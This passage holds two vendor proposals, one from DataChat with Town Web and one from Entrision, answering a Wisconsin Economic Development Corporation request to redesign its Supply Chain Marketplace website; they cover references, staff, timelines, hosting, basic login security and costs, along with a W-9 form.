provided to the WEDC upon completion of initial meetings to ensure the website
functionality is agreed upon. Documentation of the website’s would include a
breakdown of the design architecture, from the CMS to the database. As an added
benefit, we would develop the entire CMS site using github and post it on a private
repository so that you and any future developers on your side can easily have full
access to the code.
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Organizational and Staff Capabilities
History and Organization
The WEDC has the added benefit of working with two Madison-based companies that
are the “best-of-breed” in their respective specialties (Town Web for Web Design and
DataChat for AI search).
Town Web is a Wordpress web agency that primarily services the municipal and local
government industry. Town Web has over 527 municipal customers in 27 states and has
been in business since 2007. In the past 12 years, the mission of Town Web has
remained the same: To provide an easy-to-use website platform that allows nontechnical municipal staff members to post information that residents can easily access.
DataChat is a SaaS business intelligence platform that allows business users to get
meaningful insights from data by simply conversing with our AI-powered chat platform
in plain English. The company was founded in 2017, headquartered in Madison,
Wisconsin, and was spun out from the research lab of Prof. Jignesh Patel at the U. of
Wisconsin-Madison. DataChat currently has 17 employees. DataChat has won an NSF
SBIR Phase I grant, was recently awarded an NSF Phase II grant, and was named the
top IT startup in the 2018 Wisconsin Governor’s Business Plan Competition.

Proposer’s experience
Provide a list of at least three relevant engagements held by the proposer which
indicates relevant experience.
Village of Ontonagon: https://villageofontonagon.org/
Village Number: (906) 884-2305
Kori Weisinger, Clerk/Treasurer, ontclerk@jamadots.com
Sarah Hopper, Council Member, srhopper21@gmail.com
The Village of Ontonagon engagement is primarily interesting for several reasons. We
were contacted by the Village around Christmas time (Dec 2018) and they needed to
find a vendor who was a specialist in their industry and who could also accomplish the
project very quickly. The reason for a very fast timeline was due to their old web design
company going out of business and they did not want their municipal website to go
down. The time from contract signing to site launch was only 10 days, which is
extremely fast and efficient. We had also immediately and proactively transferred their
old website to our servers as preventative measure in case their existing hosting
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company’s servers went down earlier than expected. This is a project used as a
reference to show our dedication to working with a brand new client who needed a
thorough job done quickly and efficiently, and it shows how easy it was for the client to
engage with Town Web on this project.
City of Belleville: http://belleville.mi.us/
City Number: (734) 697-9323
Sherri Scharf, City Clerk/Treasurer, clerk@belleville.mi.us
The City of Belleville is a project that shows our efforts working on a project that
started to become more and more complex due to input and approval needed from a
variety of different departments, each of which had different expectations. Our Project
Management Team re-focused our efforts to collaborate with our main point of contact
(Sherri). In doing so, we were able to get the various departments to prioritize their
needs and to send us their finalized punch lists. We executed each of these punch lists
to get all the departments to agree for making the new site live. This is a project used
as a reference to show how we “herded cats”.
DataChat has a long-term contract with Eagle Technologies (https://
eagletechnologies.com) wherein Eagle can bundle/resell DataChat Chat Applications in
addition to their current platform. This contract includes long-term support rates that
are locked in for multiple years allowing Eagle Technologies the business flexibility to
plan multiple years in advance and with a well-defined cost outlook.
Provide a list of all staff persons who will be involved in carrying out the tasks
covered by this RFP, describing each in terms of their involvement in specific tasks
and qualifications.
The Town Web team will focus on the consumer-facing website and CMS. DataChat will
develop the database and AI-powered chat/search functionality and handle the
integration with the CMS. This is a group effort. With the advent of lean startups, each
of our employees are trained to be cross-functional. This way, everyone is kept up-todate on development, and everyone can be available to contribute to development at
any time.
Below are all employees that will be involved in the WSCM redesign project. Due to
the number of staff involved, and to maintain brevity, we have omitted the qualification
descriptions for the involved staff members. We are more than happy to provide
detailed descriptions for each staff member upon request!
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DataChat Staff

Town Web Staff

Jignesh Patel, CEO

Dustin Overbeck, President, Town Web

Aaron Redlich, VP of Products

Cristina Ducusin, Operations

Rogers Leo John, VP of Engineering

Ivan Cvetkovic, Projects

Mark Ker, Front-End Web Development

Jerrica Wagner, Projects

Alex Tse, Back-end Development

Darko Svilar, Support
Farah Gabriel, Support
Tracyhe Roshkoski, Support
Flor Faustino, Support
Marija Pavlovic, Marketing

Provide a list of any subcontractors (individual or organizational) that the proposer
intends to use when providing services under this RFP (Note: the proposer is not
required to use subcontractor(s). However, no subcontractor may be used without
WEDC’s written approval.)
Town Web will be the subcontractor for this proposal. Town Web will develop web
components under this contract, with DataChat overseeing technical integration of the
website and its AI technology.
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Technical Requirements & Project Approach
DataChat and Town Web pride ourselves on our ability to execute and stick to a
desired plan to achieve optimal results. Our nimble and efficient group enables us to
work quickly and effectively, implementing changes and improvements in hours and
days, rather than weeks and months.
The DataChat and Town Web teams meet twice weekly to discuss goals and review
progress. Our teams relies on good communication practices to ensure project goals
are clear, and this approach has led us to successfully meet our project deadlines and
budget constraints. We use this approach in all of our successful deployments, and
WEDC’s website refresh will be no different. We propose bi-weekly project updates
detailing progress and weekly meeting notes will be delivered to keep WEDC
members up-to-date.
Before a technical task is assigned to a team member, a brief analysis of the tasks’
components is performed to understand the scope of work involved. The task is
assessed using the Design-To-Schedule software lifecycle methodology which provides
strict timelines and optimal predictability of task completion.
Upon completion of each milestone, as detailed below, a review process is triggered to
ensure the appropriate levels of attention are given to each component of the project.
The review process entails a review of an internal checklist of development and quality
control criteria. Such criteria includes review of user interface components, server-side
code completeness, and internal code audits by the DataChat and Town Web teams.
On the technical development side, our team takes rigorous steps to review the
robustness of our code. Each team member’s code is peer-reviewed weekly, and we
employ a set of internal controls as part of the code review process. Individual
components are stress-tested using load testing tools and then evaluated from a
security standpoint. Only code that meets our strict quality requirements is released
into a production environment. This process enables our team to tightly control how
internal code is developed by all team members.

Quality Assurance
Building high quality websites that “just work” is not always an easy task. Large
amounts of time must be spent on due diligence, reviewing code, and revamping
security protocols. Our team spends many hours and days testing websites to ensure
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they are ready for prime-time. This not only applies to raw code but also applies to the
user experience of a website to ensure usability is set to surpass expectations.
As part of our quality assurance program, and after initial meetings have occurred and
requests taken, a technical project work plan (briefly discussed above) is developed to
ensure clear communication of goals and objectives is part of the website release
process. This plan details all standard features, requested modifications, specific
deployment details, and protocols for unexpected events, should they occur. During
each of the deployment stages outlined below, internal In-Stage Assessments (ISAs) are
performed midway through milestones to gauge progress and ensure code is stress
tested and measured for minimal security footprint. After a milestone is completed,
Exit-Stage Assessments (ESAs) are performed to ensure the website meets the high
standards established by our team and that the requirements described by WEDC staff
have been met.
Quality assurance does not stop once a website is released to the public. The DataChat
and Town Web teams closely monitors a website’s performance remotely and will
perform updates immediately if one of the dozens of website performance markers
highlights a potential issue. To assess the effectiveness of a website’s deployment,
DataChat and Town Web collect a variety of metrics, all in real-time. Many of these
metrics surround usage and stability statistics, and those are conveyed to our team in
real-time.

Provide a timeline for conducting the work under this RFP
A tentative timeline is provided below.
Activity

Estimated Date

Notes

Initial Website Discussions
Kick-oﬀ Meeting

Within one week of award
date

Review website
specifications, design
templates, chat questions,
deployment specifications
and discuss additional
requests

ESA 1
Report 1 Due

March 15th, 2019

Deliver report on specific
deployment and technical
details. Process and review
specific requests, if any.

Low-fidelity Wireframe Mockups

March 18th, 2019

We will deliver wireframe
mockups of the website
structure and page designs
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Activity

Estimated Date

Notes

Approval of Wireframe Mockups

March 22nd, 2019

Approval of website structure
and mockups.

High-Fidelity Photoshop Mockups

April 15th, 2019

Delivery of high-fidelity
Photoshop mockups of
website layout and design

Approval of Photoshop Mockups

April 19th, 2019

Approval of high-fidelity,
branding elements, and
mockups.

Website Development Phase 1

April 22nd, 2019

Development begins of key
website components. CMS,
custom design programming,
custom module development,
and database functionality
begins. Data migration from
old site and database begins.

Website Test 1

May 17th, 2019

Alpha test of website
functionality on mobile and
desktop platforms.
Demo of Alpha version of
website to be presented to
WEDC members, in-person.
Collect and analyze WEDC
website feedback.

Web Development Phase 2

May 20th, 2019

Implementation of feedback
from Alpha test
Website development
continuation

ESA 2
Code Review

June 7th, 2019

Deliver report on website
progress.
Process requests and
feedback on website
progress.

Website Test 2

June 10th, 2019

Beta test website neardeployment versions of
website to WEDC staﬀ.
Collect remaining feedback

ESA 3
Security Review, Code Review

June 17th, 2019

Deliver final report on website
functionality.
Deliver documentation on all
website functionality

Final Checklist and “To-Do’s”

June 21st, 2019

WEDC to deliver final
checklist of items to be
finalized prior to approval and
website “go-live”
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Activity

Estimated Date

Notes

Website Public Launch

June 30th, 2019

Completion of project
Full transition from current
WSCM website

Schedule On Site Training

—

Schedule training session

The optional marketing campaign, as mentioned in previous sections, will be deployed
to address prospective buyers, listed vendors, or others that the WEDC chooses to
contact. Dates to begin the WSCM marketing and outreach campaign will be discussed
with the WEDC staff prior to final website delivery.
Describe the proposers approach to platform updates
Platform updates will take place in two areas. Firstly, since we will use Wordpress, there
will be constant and regular CMS updates. Secondly, through our proposed Support &
Maintenance package, we will provide plug-in support and maintenance from any 3rd
party plug-in component and any internally developed functionality.
Specific breakdown of solution recommendations of data structure, CMS and
maintenance requirements, including all technical solution providers and expected
performance related to the recommendations. In recommended approach, please
assume directory activity on usage as well as profile creation will grow. Please
consider optimal solution for performance and maintenance.
The CMS deployed would be Wordpress. The database, which includes the underlying
data structure, would be on MySQL. The data needed for the search queries would be
located on a MySQL database. All the technology would be hosted on a cloud
platform like AWS, which allows us to more easily scale up (with regard to processing
power, RAM, and disk space) should we start to hit performance limits.
Provide recommendation for hosting solution
Our recommendation is to either keep using the existing Rackspace hosting solution if
the specifications are adequate to handle the current and new traffic, as well as the
DataChat technology. Otherwise, we are open to using cloud-based hosting such as
AWS to have better scalability.
Provide recommendation for security solution
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Our solution for security includes a proven level of protection with enough flexibility for
convenience that Town Web uses for its 500+ municipal customers. Town Web uses a
combination of different methods, which are described in Town Web’s blog here:
https://townweb.com/2018/03/27/preventing-hackers/
Essentially, we make it less convenient for would-be hackers to use Brute Force
methods to gain entry. One way is to have the log-in area as a non-default URL. We
also limit the number of consecutive login attempts to a fixed number. Once a limit is
reached, we require a “cool down” period in order for there to be more login attempts.
We’ve tweaked this to still make it hard for the bad guys from getting in, but not too
tightly to limit genuine login attempts. We still want to make it possible for nontechnical users who legitimately forget their passwords to be able to reset their
passwords on their own without required somebody from support to do it for them
each time.

Other Items
Please provide a minimum of two relevant references.
Please see the previous references under the “relevant experiences” section, where we
include phone numbers and contact information for previous website deployment
projects. These pieces of contact information serve as our references.

Documents
Provide a copy of the proposer’s W-9
Please see the attached W-9 for DataChat, Inc.
Provide a copy of the proposer’s standard contract documents.
Since the website will be custom and scope of work custom as well, we would like to
provide contract documents after initial discussions on the scope of the project have
been held. This way, contract documents are up-to-date and contain custom elements
addressed to the WSCM website redesign.
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Project Completion
Selected service provider must be in a position to complete the project and ensure
smooth transition of existing WSCM no later than June 30, 2019.
Please see the above timeline. We anticipate that the project will be complete fully
transitioned by June 30th, 2019.
Training Support: Please provide approach to delivering training to WEDC to
ensure smooth transition and roll-out. Specify recommended approach including
“live” (in-person) or via virtual with supporting training materials.
Support is an equally important component that sets this proposal away from the rest.
Both DataChat and Town Web have over 20+ years of experience supporting and
deploying new websites to over 500 customers around the US. Support is handled in a
unique way. To ensure that our web deployments go as smoothly as possible,
DataChat’s VP of Products, Aaron Redlich, is the main point of contact for supporting
web deployments. Aaron is always available and ready to answer questions or involve
technical team members.
All initial training will be performed in person (“live”) by, Jignesh Patel (CEO,
DataChat), and Dustin Overbeck (President, Town Web). In person training will consist
of up to two 8-hour (full consecutive days) sessions. This session will cover all front-end
functionality, back-end administrative features, and review training documentation
developed for the WSCM.
Considering WEDC’s close proximity to DataChat and Town Web’s offices, we are
happy to offer additional training sessions at no extra cost. Additional training sessions
may be performed over Zoom (video conferencing service).
Documentation – an adequate level of documentation will be required that
includes key functionality overview as well database development approach.
DataChat and Town Web will provide technical documentation after initial discussions
of website details have been held with the WEDC. We do have several remaining
questions on database functionality that would impact technical descriptions of work to
be performed. We hope to discuss these questions with WEDC staff during our initial
assessment meeting.
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Cost Proposal
Below is a cost proposal for the Redesign of the Wisconsin Supply Chain Marketplace.
Our team is excited to submit this document to you and look forward to working
closely with the WEDC to deploy a new and refreshed version of the WSCM. We are
happy to add and deduct items to fit the WEDC’s exact needs and requirements.

Overview
The scope of the project is to deploy a new and redesigned website of the WSCM that
includes an AI search component to assist WEDC staff and website visitors in searching
for information. The DataChat and Town Web teams will use proven technologies to
develop, host, and secure the website and related database components.
The project is broken down into three separate costs for the following components:
• Website development
• Ongoing Maintenance
• Marketing campaign

1. Website Development
Website Development Overview
● Web Design and Set-up
○ Customized website design, with unlimited pages & menu items
○ Mobile-responsive design
○ Work with a dedicated Account Manager & Project Manager
● Platinum Web Design
○ Upgrade to a design that is 100% unique, 100% custom design with
formal Wireframes mockups and Photoshop mockups. You go through a
formal and thorough Design & Branding process with our design team.
● AI Search
○ Advanced search with AI-powered algorithms to accurately deliver search
results to visitors and suppliers.
○ AI search will be available to Admin staff for advanced analytics
● On-Site Kick Off Meeting and On-Site Training
○ In person Kick Off meeting at Project Start. Onsite in Madison. Includes
one half-day session (up to 4 hours)
● On-Site Training
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○ In person Training at Project Launch. Onsite in Madison. Up to two full
days training (consecutive days, up to 8 hours each day)
● API development
○ Research with 3rd party OEMs to understand what database elements
require connections to the WSCM database
○ API documentation to given to WEDC staff
○ API testing
○ API documentation
● Page Design, functionality, and feature development
○ RFP Module
○ News/Bulletin Board/Marketplace Updates
○ Submit News Items
○ Suppliers Directory
○ Register as a Supplier
○ Subscribe to Notices
○ Administrative dashboard where WEDC staff members can perform the
following:
■ Manage Suppliers
■ Manage RFPs
■ Manage News (e.g. Marketplace Updates, Hiring, Business News,
Hiring)
One-Time Fixed Cost
Web Development, Training, Deployment
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$60,000

2. Hosting & Support Package
Hosting and Support Overview
We will approach Support from a variety of different avenues:
● Wordpress Support - maintaining the integrity of the Wordpress CMS and its
related plugins
● Database maintenance, security updates, performance enhancements
● Web hosting & offsite backup support - also known as managed hosting
● Technical Support for the WEDC Staff - providing 24x7 technical support and
assistance to the WEDC staff
● Hourly charge for modifications to the API after website deployment- $89/hr
Recurring Costs

Unit Cost

Hosting and Support Costs

$12,000 / Year

3. Marketing Campaign (Optional)
Optional Marketing Campaign Management
The marketing campaign proposed in our proposal outlines a two-part campaign. The
campaign will not only include emails, but physical postcards which have been shown
to increase response rates. We will work closely with the WEDC to establish the
marketing campaign to ensure it contains the appropriate messaging. As part of this
marketing campaign, we will:
• Create targeted lists
• Strategize a Call-To-Action
• Incorporate emails and physical materials (letters, postcards) for mailing via
WSCM API
• Track and manage campaign conversions
• Campaign reporting on campaign analytics
Pricing for individual mailers is on a per-item basis based on quantity and mailer type.
One-Time Costs

Unit Cost

Marketing Campaign (Optional)

$5,000 / Year
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W-9

Form
(Rev. November 2017)
Department of the Treasury
Internal Revenue Service

Request for Taxpayer
Identification Number and Certification

Give Form to the
requester. Do not
send to the IRS.

Go to www.irs.gov/FormW9 for instructions and the latest information.

1 Name (as shown on your income tax return). Name is required on this line; do not leave this line blank.

DataChat Inc.

Print or type.
See Specific Instructions on page 3.

2 Business name/disregarded entity name, if different from above
4 Exemptions (codes apply only to
certain entities, not individuals; see
instructions on page 3):

3 Check appropriate box for federal tax classification of the person whose name is entered on line 1. Check only one of the
following seven boxes.
Individual/sole proprietor or
single-member LLC

✔

C Corporation

S Corporation

Partnership

Trust/estate
Exempt payee code (if any)

Limited liability company. Enter the tax classification (C=C corporation, S=S corporation, P=Partnership)
Note: Check the appropriate box in the line above for the tax classification of the single-member owner. Do not check Exemption from FATCA reporting
LLC if the LLC is classified as a single-member LLC that is disregarded from the owner unless the owner of the LLC is
code (if any)
another LLC that is not disregarded from the owner for U.S. federal tax purposes. Otherwise, a single-member LLC that
is disregarded from the owner should check the appropriate box for the tax classification of its owner.
Other (see instructions)
5 Address (number, street, and apt. or suite no.) See instructions.

(Applies to accounts maintained outside the U.S.)

Requester’s name and address (optional)

1403 University Avenue
6 City, state, and ZIP code

Madison, WI 53715-1055
7 List account number(s) here (optional)

Part I

Taxpayer Identification Number (TIN)

Enter your TIN in the appropriate box. The TIN provided must match the name given on line 1 to avoid
backup withholding. For individuals, this is generally your social security number (SSN). However, for a
resident alien, sole proprietor, or disregarded entity, see the instructions for Part I, later. For other
entities, it is your employer identification number (EIN). If you do not have a number, see How to get a
TIN, later.
Note: If the account is in more than one name, see the instructions for line 1. Also see What Name and
Number To Give the Requester for guidelines on whose number to enter.

Social security number

–

or
Employer identification number

8

Part II

–

2

–

1 4

3

7

9

7

3

Certification

Under penalties of perjury, I certify that:
1. The number shown on this form is my correct taxpayer identification number (or I am waiting for a number to be issued to me); and
2. I am not subject to backup withholding because: (a) I am exempt from backup withholding, or (b) I have not been notified by the Internal Revenue
Service (IRS) that I am subject to backup withholding as a result of a failure to report all interest or dividends, or (c) the IRS has notified me that I am
no longer subject to backup withholding; and
3. I am a U.S. citizen or other U.S. person (defined below); and
4. The FATCA code(s) entered on this form (if any) indicating that I am exempt from FATCA reporting is correct.
Certification instructions. You must cross out item 2 above if you have been notified by the IRS that you are currently subject to backup withholding because
you have failed to report all interest and dividends on your tax return. For real estate transactions, item 2 does not apply. For mortgage interest paid,
acquisition or abandonment of secured property, cancellation of debt, contributions to an individual retirement arrangement (IRA), and generally, payments
other than interest and dividends, you are not required to sign the certification, but you must provide your correct TIN. See the instructions for Part II, later.

Sign
Here

Signature of
U.S. person

Date

General Instructions
Section references are to the Internal Revenue Code unless otherwise
noted.
Future developments. For the latest information about developments
related to Form W-9 and its instructions, such as legislation enacted
after they were published, go to www.irs.gov/FormW9.

Purpose of Form
An individual or entity (Form W-9 requester) who is required to file an
information return with the IRS must obtain your correct taxpayer
identification number (TIN) which may be your social security number
(SSN), individual taxpayer identification number (ITIN), adoption
taxpayer identification number (ATIN), or employer identification number
(EIN), to report on an information return the amount paid to you, or other
amount reportable on an information return. Examples of information
returns include, but are not limited to, the following.
• Form 1099-INT (interest earned or paid)
Cat. No. 10231X

February 10, 2019

• Form 1099-DIV (dividends, including those from stocks or mutual
funds)
• Form 1099-MISC (various types of income, prizes, awards, or gross
proceeds)
• Form 1099-B (stock or mutual fund sales and certain other
transactions by brokers)
• Form 1099-S (proceeds from real estate transactions)
• Form 1099-K (merchant card and third party network transactions)
• Form 1098 (home mortgage interest), 1098-E (student loan interest),
1098-T (tuition)
• Form 1099-C (canceled debt)
• Form 1099-A (acquisition or abandonment of secured property)
Use Form W-9 only if you are a U.S. person (including a resident
alien), to provide your correct TIN.
If you do not return Form W-9 to the requester with a TIN, you might
be subject to backup withholding. See What is backup withholding,
later.
Form W-9 (Rev. 11-2017)

February 11, 2019
Jela Trask
Wisconsin Economic Development Corporation
201 West Washington Ave, 6th Floor
Madison, WI 53703
It is with great excitement that we ask to be considered to design and build this valuable tool that
we ourselves will get the pleasure of using. At Entrision, it’s always been our mission to enrich and
simplify the lives of real people in our local community through software, and this project is an
excellent channel through which we can fulfill that mission.
This is a rare opportunity for us to be able to work on a piece of software that we will exist on
both sides of. Not only will we be involved as software architects designing for others, but as users of this system ourselves. This will give us unique and valuable insight into the user experience.
We’re excited about this opportunity, and we look forward to partnering with the WEDC to launch
an intuitive and powerful application that we, along with thousands of other Wisconsin businesses, will use and embrace.
Sincerely,
Derek Harrington
President
Entrision LLC
6100 West State Street #326
Milwaukee, WI 53213

Proposal
February 11, 2019
Project

Wisconsin Supply Chain Marketplace

Presented to

Jela Trask
Wisconsin Economic Development Corporation
201 West Washington Ave, 6th Floor
Madison, WI 53703

Entrision LLC

http://entrision.com
DUNS #079575162
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Requirements
User Experience

The success of an application starts with the interface. You can have top-notch expert programming, and it’s meaningless without an intuitive, usable interface. A meaningful user experience
means that we define the customer journeys that are most important to desired end results,
and create interfaces that make that journey simple.
The most important part of making sure we do this effectively is to validate and work closely
with real end users--in all parts of the system. This means (minimally) vendors, purchasers, and
administrators, who are three distinct user groups that all need to be carefully considered.
Using input from real users, we’ll define personas and goals, and use those to create an appropriate UX.

Data Structure

Concrete5 (and most basic CMS platforms) are built for content-driven web sites. What we have
here is primarily a data-driven web application. The requirements around search functions,
dynamic data, unique profiles, transactional email, algorithmic matching, and many more are far
more conducive to a data-driven web application framework than a basic Content Management
System.
We believe that when designing a custom solution, any design we come up with must not only
support the needs of today, but also easily support the ever-evolving needs that the future will
most certainly hold. Because of that, we are going to design a relational database and data layer
so that that we will have a flexible and extensible data structure to account for future expansion
in capabilities and functionality.
We’ll do this using a PostgreSQL database hosted on an AWS (Amazon Web Services) cloud environment, with an ORM (Object Relational Mapper) layer on top of it to easily access and manipulate data.

Copyright 2019 Entrision LLC. Confidential Document
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Requirements (continued)
Functionality

We will work with WEDC during Sprint 0 to identify all the functional User Stories to be delivered
during the project. These stories will include, at a very minimum, those listed below:

1. Basic Functions
a. Supplier Search and RFP posting.
b. Current search options with improved inflectional type searching capabilities, such as singular/plural, past/present/future tense, etc.
c. Support for self managing supplier profiles via registration, login, and forgot password.
d. Support for non-registered RFP submissions, or equivalent.
		
2. Support Administrative Functions
a. Approve (and reject) Profiles.
b. Approve (and reject) RFPs
c. Approve (and reject) new Posts
d. Generate lists
e. Creation of new categories such as directories, industries, and regions
f. Updating of site content as needed
3. Content
a. Determine proper algorithm for pulling “Bulletin Board” information.
b. Determine necessity of supply chain maps and/or their use.
4. System Emails
a. Workflow emails for new or changed RFP postings according to category of
suppliers
b. Confirmation emails related to profile registration, RFP Approvals, etc.
c. Support for newsletter registration.

Copyright 2019 Entrision LLC. Confidential Document
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Requirements (continued)
Directory Access

We’ve implemented projects with varying degrees of download and data exchange capabilities.
As an example, based on the level of security within the system a “user” might only be able to
export a predefined set of data, whereas an “admin” might be able to select and filter a dataset
to their required needs for downloading. This select and filter could then be saved as an interface template to be used as a repeatable process. This could be built into the search functionality. We will work with you to determine what functional features make sense based on the users
and 3rd parties involved. These formats can be fixed, variable CSV, Excel, and others if necessary. The pro’s of this approach can be to report on and massage the information. The goal here
should be to enable the user, not restrict them.
Where requirements necessitate more of an on-demand, or tighter integration, we’ve built
HTTP/Rest API’s that are exposed securely, through tokenization, or unsecured, if desired. We
also provide documentation in the form your partners will understand in order to make it seamless for for third parties to consume the APIs and access desired data. The pros of this approach
is around automated integration with partners, especially if the need is more transactional.
If your desire is to tightly control the flow of data, we would recommend moving more toward
the feed based approach. If you are working with partners where the needs, and willingness, are
more real-time or automated, then we would recommend the API approach. The reusability of
code to do each of these approaches is usually low, and therefore likely to have a cost similar to
one another.

CMS Content Pages

In our opinion, this tool will not be a success if it does not easily give you the power to control it’s
content. Basic templated pages like “About Us” and “Privacy Policy” will follow a standard templated design, and you will have full administrative control over the content on those pages.

Hosting

We recommend a hosting environment on AWS (Amazon Web Services). It’s proven to be highly
reliable, easily scalable, and widely compatible. We’d additionally recommend asset storage in
Amazon’s S3 storage service.
We will also implement nightly database backups of the entire system, which will be uploaded to
a redundant, secure location with the Amazon S3 storage service.
We will manage and monitor this entire process.
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Requirements (continued)
Ongoing Maintenance

Entrision believes in long-term relationships. Our business is built on the relationships we’ve
established and maintained with our satisfied clients. Successful software products are never
done. New operating systems are constantly being released. Security vulnerabilities are constantly arising. Needs evolve. And we want to be there for you when they do.
When it comes to security, stability, and long-term health of a software product, we believe that
the best defense is a good offense. This means we stay on top of updates, security patches, and
platform support before it becomes a problem.
Additionally, we install monitoring and alerting software on all applications, so if there is ever a
problem, we’re made aware of it immediately.
We do not want to build this application, hand it off to you and be done. We want to be your
partner. After delivery, we want to monitor it, support it, and enhance it.
In terms of a structured maintenance plan, we don’t have a restrictive “set” maintenance plans
to choose from. Each project has unique needs, and we design and implement maintenance
plans according to those needs, on a per-project basis. To illustrate how we typically engage
though, we generally have a set retainer (per month or per quarter) of planned maintenance
hours, which are split between emergency on-call needs, and planned maintenance.
Any major updates are always deployed during off-hours to ensure an interruption-free experience for users.

Google Analytics

You can’t improve what you can’t measure. No system would be complete without usage analytics and Google Analytics is our platform of choice. We have extensive experience implementing
this in both basic and advanced cases.

SEO Considerations

SEO has evolved considerably over time. We will develop the platform with basic meta related
capabilities in mind and ensure the site speed meets crawler demands. More importantly, we
will also develop it so that the content of site is exposed in a crawler-friendly consumable way
using structured data markup that’s most conducive to search engine indexing.
Low-hanging fruit like well-architected code, verbose page titles, mobile-friendliness, and HTTPS
secure connections are all minimum expectations we employ in any project.
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Requirements (continued)
Mobile-friendly via Responsive Design

While 84% of your traffic may be on the desktop right now, industry trends show that mobile
traffic will continue to grow. Our development framework has mobile responsive design built
into it. Enabling the user to have an optimal experience no matter the device they’re using is
something that’s become standard, and this is a front-of-mind consideration in the design and a
standard practice in our development.

Documentation

All documentation will be provided as electronic media in Microsoft Word format at the end of
the project. However, documentation is a constant process, and from day one, you will have
access to our shared documentation files.
Documentation will be updated, as needed, to reflect changes in function, process, policy, credentials, access, third-party integrations, functionality, and support contact information.

Copyright 2019 Entrision LLC. Confidential Document
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Organizational & Staff Capabilities
Entrision is a software development agency providing custom-built software solutions for innovative businesses and government agencies. We’re an agile firm filled with talented designers
and developers who are ready to turn innovative ideas into elegantly built, quality applications
using the latest technologies.
We help organizations design and build software products that solve business challenges and
expand opportunities and access through intuitive and modern interfaces.
Our company is based in the heart of downtown Milwaukee, a fitting representation of the importance of working in our local community. We follow agile development methodologies, and
we take pride in not only building software that works, but building software that’s built right,
following all best practices and industry standards. The company was established in June of
2012, and has now grown to a talented team of 10.

Experience

Through almost 7 years in business, Entrision has delivered over 90 successful projects to our
clients. Though the types of organizations and the sectors in which they specialize differ greatly,
one thing remains consistent. We take take data sets and facilitate connections and efficiency
enhancements through the use of custom technology tools. We’ve done it for education, transportation, philanthropy, financial, commerce, and we will apply that same strategy here on the
WSCM.
From managing brokered real estate listings, to a shipping cargo marketplace, to fine-grained
notification and alerting systems - the projects have differed but the goals have stayed consistent. It’s about getting data to people when they want it, and allowing users to access key information in a hassle-free manner. It’s something that sounds simple, and that’s because it should
be.
We don’t claim to be a jack of all trades, because we’re not. We’re not a creative agency. We’re
not a marketing firm. We’re not a data analytics company. What we are is a company that specializes in designing and building data-driven custom software products, and that’s why this
project is a great fit for our skills and experience.
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Experience
Madison Metropolitan School District
Web Interface

We were awarded a contract by the Madison School District to design
and implement a solution to assist with difficult annual process of staffing and budgeting allocation across all of their schools and facilities.
We created an advanced application which gives them the flexibility to
budget and staff buildings how they see fit, while staying in the confines of what’s feasible, and historically tracking the entire process.
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Madison Metropolitan School District
Web Interface
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Online Real Estate Platform
Web Interface

We worked with a large real estate company to build a listing management system for for-sale homes, in which potential buyers could view
available homes using a filter interface that was intuitive and powerful.
Potential buyers could narrow in on their ideal criteria, as well as build
their profile and be notified when new homes that met that criteria
were added. When they found a potential match, additional information was readily available through the platform.
We later extended the platform so that sellers could join the platform,
be approved by administrators, and post their own listings on the site.
This is probably are most applicable example. It incorporates almost all
of the features that the WSCM would need, except it was built for listing
homes instead of RFPs.
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Online Real Estate Platform
Web Interface
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University of Wisconsin-Madison
Web Interface

We were awarded a contract to work with the Discovery Institute at
UW-Madison in building out a data management tool for use by students and staff in a massive research project that spans a network of
universities from coast to coast. The initiative is called TinyEarth, and
it is a network of instructors and students focused on crowdsourcing
antibiotic discovery from soil. Our system was built to collect and manage sample data and a litany of isolate testing results on those samples - and then promote, manage, and expose that data to the world to
advance research in the field.
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University of Wisconsin-Madison
Web Interface
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National Carrier Exchange
Web & Mobile App

We built a product that it is aimed at revolutionizing the world of
freight transport. We designed, built, and launched an online marketplace that allows anyone to post freight that needs to be transported,
and then collect bids from truckers and trucking companies to haul
that freight--essentially bypassing the need for a traditional freight
broker.
Trucking companies can set key criteria on freight listings they’re interested in, such as location preferences, equipment and insurance
requirements, and dollar values - and then be notified when listings are
created that match their preferences.
Additionally, an advanced granular search lets them search and filter
available listings by over 20 different criteria.
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National Carrier Exchange
Web & Mobile App
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Key Staff
The following staff bios highlight the key personnel proposed to perform the work on this project. All key personnel will be available for the duration of the project. No key personnel will be
removed or replaced without permission from the WEDC.

Derek Harrington
President

Experience & Responsibility

As the President of Entrision, Derek oversees the staff, manages projects, and
works to keep everything running smoothly. Having worked the ranks from
support developer to lead developer through project and client management,
Derek has experience in all areas of the software development process. His
experience in the industry helps ensure that all projects run smoothly, on
schedule, and on budget.
On this project, Derek will be the executive project owner, contract negotiator, and escalation point.

Bruce Schmidt

VP, Operations & Delivery
Experience & Responsibility

Bruce brings over 30 years of experience in software development and delivery. He started his career doing software development, moving into project
management and leadership, recently leading a healthcare organization as
the CIO. He’s worked for Fortune 500 companies like Siemens and Reader’s
Digest, as well as run startup software companies. What really motivates him
is helping clients use technology to improve their organization and those they
serve.
On this project, Bruce will be the executive project manager and primary
point of contact at Entrision.
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Dave Strock
Senior Architect

Experience & Responsibility

With over 15 years of experience in web development, Dave prides himself on
staying up to date with the latest technologies and trends in the industry. After
spending a few years working in the education segment of the software industry,
Dave worked in aeronautics for ten years before joining Entrision where he now
acts as a lead architect on a variety of web projects.
For this project, Dave will be the lead architect, making architecture and technology decisions and leading the product’s technical design.

Carlos Guisao
Software Engineer

Experience & Responsibility

Comfortable with the full stack of web development, Carlos specializes in
building data driven front-end interfaces for our web projects. He also enjoys
pushing the boundaries and exploring new technologies.
On this project, Carlos will be an active individual contributor on the software
development.

Jeni Hutchinson
Creative Director

Experience & Responsibility

Jeni has over 7 years of experience in graphic design, product design, and branding. She has designed successful products for small and large companies alike,
and enjoys using design as a voice to make a difference in her community. Her
primary responsibilities as creative director include working directly with clients
to design products that users will love. She takes input from clients, and combines it with her design expertise to craft beautiful interfaces with simple and
graceful experiences for the user.
For this project, Jeni will be the primary product designer, working with the WEDC
and appropriate stakeholders to fully design the product.
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Project Organization
Communication/Project Management

The project will be assigned a lead architect, who will be your centralized point of contact for all aspects of the project. This person from
Entrision will be one of our senior Engineers, Dave Strock. Dave will
coordinate the team, and be responsible for all communication with
the department. the department will assign a primary point of contact on their end who will work with Dave and our team. Any issues,
questions, or feedback can be reported directly to the lead architect,
and he will also be responsible for providing timely updates, and any
updates by request of the department.
Even though the Lead Architect will be the main point-of-contact for
the entire project, the client will also be interacting directly with a
second member of our team--the Creative Director. Jeni Branum, our
Creative Director, will be responsible for designing the product. She
will coordinate the efforts of branding, site mapping, user flows, user
experience, and interface design. And the Creative Director will work
directly with the client in these efforts.

